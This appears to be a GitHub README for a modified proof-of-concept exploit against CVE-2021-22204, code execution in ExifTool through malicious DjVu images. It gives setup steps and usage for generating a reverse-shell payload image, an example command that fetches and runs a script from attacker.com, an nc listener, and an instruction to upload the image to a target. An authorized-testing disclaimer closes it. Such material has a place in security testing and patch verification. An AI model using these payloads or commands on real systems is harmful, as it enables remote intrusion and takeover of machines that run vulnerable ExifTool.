d4ytox/cve-2021-22204ExifTool RCE exploit (CVE-2021-22204) - improved version, no exiftool dependency
An upgraded proof-of-concept for CVE-2021-22204, a vulnerability in ExifTool versions 7.44 through 12.23 that allows arbitrary code execution when processing malicious DjVu files.
This is derivative work. The vulnerability and the original exploit are not mine.
| Role | Who |
|---|
| Vulnerability discovered by | William Bowling (@wcbowling), reported via the GitLab bug bounty programme — April 2021 |
| Original PoC by | UNICORD (NicPWNs & Dev-Yeoj) |
| Modifications in this repo by | d4ytox |
Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 to 12.23 allows arbitrary code execution when parsing a malicious image. This exploit generates a malicious image file that, when processed by a vulnerable ExifTool version, executes attacker-controlled code.
Building on UNICORDev/exploit-CVE-2021-22204:
exiftool -config to embed the payload, which fails if your own ExifTool is patched (v12.24+). This version builds a pure DjVu payload using only djvumake.\c escape sequence warning)djvulibre-bin packageThese are engineering changes to an existing exploit. No vulnerability research is claimed.
sudo apt install djvulibre-bin
Reverse Shell:
python3 exploit.py -s <LHOST> <LPORT>
Custom Command:
python3 exploit.py -c "id > /tmp/pwned"
Examples:
# Generate reverse shell payload
python3 exploit.py -s 192.168.1.100 4444
# Generate command execution payload
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"
# Start listener and wait for callback
nc -nlvp 4444
The exploit generates image.jpg - upload this to a target where ExifTool will process it.
This tool is provided for educational and authorized security testing purposes only.
The author is not responsible for any misuse or damage caused by this tool. Only use this exploit against systems you own or have explicit written permission to test.
Unauthorized access to computer systems is illegal and punishable by law. Use responsibly.
MIT, applying only to the modifications in this repository. The upstream PoC carries no licence, so it remains all rights reserved by its authors. See LICENSE for the full attribution notice.